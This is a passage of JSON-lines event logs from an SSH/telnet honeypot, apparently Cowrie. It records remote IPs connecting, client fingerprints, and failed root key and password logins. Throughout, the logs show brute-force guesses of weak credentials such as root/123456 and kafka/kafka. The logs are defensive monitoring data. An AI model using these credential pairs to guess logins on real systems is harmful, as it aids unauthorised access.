AAAAB3NzaC1yc2EAAAADAQABAAACAQDcjDplZvff0Rptf6328mhIXb4BVZm6vsmGBbv9/De/ImlGhy1dUYMHDFkLsnhP2T5xKpS+N5DVa9ZvrjlUJlZLFoC58wRo2kshQrBHgsZZt3BwxIshq3U5vrBx+3tA0b3rYomagCJXJrEcJ8fgybdhNs8uuE7oNEEZVTO8QLdqBfxG4FkvaqgdxcETrkCy6+EBA/Gl9aVQ2Rs8wlk/WMe+ampYsTUnF1PJ4Gm5W0CxmrvCyXDxXcijLptDXhYdVZVN5ZI6G+eB82Pzzdj27p+UvRYF+yQCdGmDSBP+F//2oCbNIRU74U4hI8rErSIXbIdND5SRSdMBwr3zjlygGAtuNv3f1xPbBgpY+wmQ6oKjhnfKNpb3VOzINBaLHjfqjJ0ZKu5xZ4mDJ3KFfFSqpFexc9gfBja0haLic6vfQOAD+4cAFVVn10ultzzxy5cGpWN/3IAYnAnXGjgb1tOBFrQghwPz0K8/U/7KJunf9/MIDCYFD8KZncmN4/r4QT6+qQUMdclsRt+nRgzhnrlRKhoETv7PVsA9U4ns9vekdWT0vObZfIIB4yXtl/AlK8f2PwY/VBFgzlicd2nERZmqfMn4en3672cXRgUJaf7dA6+RJqfDuzAxhJxglOQpQUmR0XKptPPH0ATtAtU4PterVwiCR4GTYKLDyH5YQK2L3G9NDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.373795Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:34:b3:ed:a7:69:58:a8:98:89:7a:68:22:ea:cc:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF0B98EYzv2Zr9yYTQlqjJ4sROIiX/5+svl4hNP6e0T681PRIL8Bt/FbT1Uko7YYhnHG9/1UG2KW1muUSCkTRsxEjcl5nvx7Z6qX0ONmWGyDcPdPgjW/Xz8uu8kD7RGcicazskxd8rVIsNk9deP7saXW/GaGG0CHCfkbDyDn3PEyJINCdn1bSRkthsBM5z0XCIjpyWcTV/DRE7DTgtNK08LyOfoPOrWzX1RefvVxzOIu0sBJC4Iv1AAwFTt/5feZIFs5ldyMQp7vS+cY/spDi8Ap0rsLH7ilAUM2ALMysxiyJnE2SxG8fPU4AJP0h81dYICY9oE1cCp0S0V2syKrTf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:34:b3:ed:a7:69:58:a8:98:89:7a:68:22:ea:cc:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.457219Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:34:b3:ed:a7:69:58:a8:98:89:7a:68:22:ea:cc:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF0B98EYzv2Zr9yYTQlqjJ4sROIiX/5+svl4hNP6e0T681PRIL8Bt/FbT1Uko7YYhnHG9/1UG2KW1muUSCkTRsxEjcl5nvx7Z6qX0ONmWGyDcPdPgjW/Xz8uu8kD7RGcicazskxd8rVIsNk9deP7saXW/GaGG0CHCfkbDyDn3PEyJINCdn1bSRkthsBM5z0XCIjpyWcTV/DRE7DTgtNK08LyOfoPOrWzX1RefvVxzOIu0sBJC4Iv1AAwFTt/5feZIFs5ldyMQp7vS+cY/spDi8Ap0rsLH7ilAUM2ALMysxiyJnE2SxG8fPU4AJP0h81dYICY9oE1cCp0S0V2syKrTf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.460698Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.550637Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42876,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d31d98d7999","protocol":"ssh","message":"New connection: 176.65.132.129:42876 (159.203.135.109:22) [session: 0d31d98d7999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.775001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.780693Z","src_ip":"176.65.132.129","session":"0d31d98d7999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.862592Z","src_ip":"176.65.132.129","session":"0d31d98d7999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.91258764266968,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.945715Z","src_ip":"45.58.127.90","session":"2fe2677d4b92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48530,"dst_ip":"10.17.0.5","dst_port":23,"session":"dff1f5cee2d7","protocol":"telnet","message":"New connection: 45.58.127.90:48530 (10.17.0.5:23) [session: dff1f5cee2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.956827Z"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:20.309689Z","src_ip":"176.65.132.129","session":"0d31d98d7999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:21.395333Z","src_ip":"176.65.132.129","session":"0d31d98d7999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54946,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1fb880f1d28","protocol":"ssh","message":"New connection: 172.237.20.62:54946 (159.203.135.109:22) [session: f1fb880f1d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:23.078266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:23.083138Z","src_ip":"172.237.20.62","session":"f1fb880f1d28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:23.244375Z","src_ip":"172.237.20.62","session":"f1fb880f1d28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42882,"dst_ip":"159.203.135.109","dst_port":22,"session":"f61bd9553717","protocol":"ssh","message":"New connection: 176.65.132.129:42882 (159.203.135.109:22) [session: f61bd9553717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:23.390607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:23.395643Z","src_ip":"176.65.132.129","session":"f61bd9553717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:23.477892Z","src_ip":"176.65.132.129","session":"f61bd9553717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:23.724423Z","src_ip":"176.65.132.129","session":"f61bd9553717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:23.731680Z","src_ip":"172.237.20.62","session":"f1fb880f1d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:24.809796Z","src_ip":"176.65.132.129","session":"f61bd9553717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:24.896669Z","src_ip":"172.237.20.62","session":"f1fb880f1d28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35202,"dst_ip":"159.203.135.109","dst_port":22,"session":"8597138c6bfa","protocol":"ssh","message":"New connection: 176.65.132.129:35202 (159.203.135.109:22) [session: 8597138c6bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:26.824827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:26.829438Z","src_ip":"176.65.132.129","session":"8597138c6bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:26.910563Z","src_ip":"176.65.132.129","session":"8597138c6bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:27.157532Z","src_ip":"176.65.132.129","session":"8597138c6bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:28.261281Z","src_ip":"176.65.132.129","session":"8597138c6bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35206,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e70c16748d5","protocol":"ssh","message":"New connection: 176.65.132.129:35206 (159.203.135.109:22) [session: 7e70c16748d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:30.253478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:30.259042Z","src_ip":"176.65.132.129","session":"7e70c16748d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:30.341600Z","src_ip":"176.65.132.129","session":"7e70c16748d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:30.709359Z","src_ip":"176.65.132.129","session":"7e70c16748d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:31.794904Z","src_ip":"176.65.132.129","session":"7e70c16748d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35212,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9a8b766117","protocol":"ssh","message":"New connection: 176.65.132.129:35212 (159.203.135.109:22) [session: cc9a8b766117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:33.911712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:33.916469Z","src_ip":"176.65.132.129","session":"cc9a8b766117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:33.998543Z","src_ip":"176.65.132.129","session":"cc9a8b766117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52752,"dst_ip":"159.203.135.109","dst_port":22,"session":"0674558f03ce","protocol":"ssh","message":"New connection: 172.237.20.62:52752 (159.203.135.109:22) [session: 0674558f03ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:34.052501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:34.057835Z","src_ip":"172.237.20.62","session":"0674558f03ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:34.216402Z","src_ip":"172.237.20.62","session":"0674558f03ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:34.245502Z","src_ip":"176.65.132.129","session":"cc9a8b766117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.049062728881836,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:34.678252Z","src_ip":"45.58.127.90","session":"a9b1ef53c9be","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:34.713980Z","src_ip":"172.237.20.62","session":"0674558f03ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:35.330028Z","src_ip":"176.65.132.129","session":"cc9a8b766117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.5538375377655,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:35.808102Z","src_ip":"45.58.127.90","session":"924c9901348b","protocol":"telnet"}
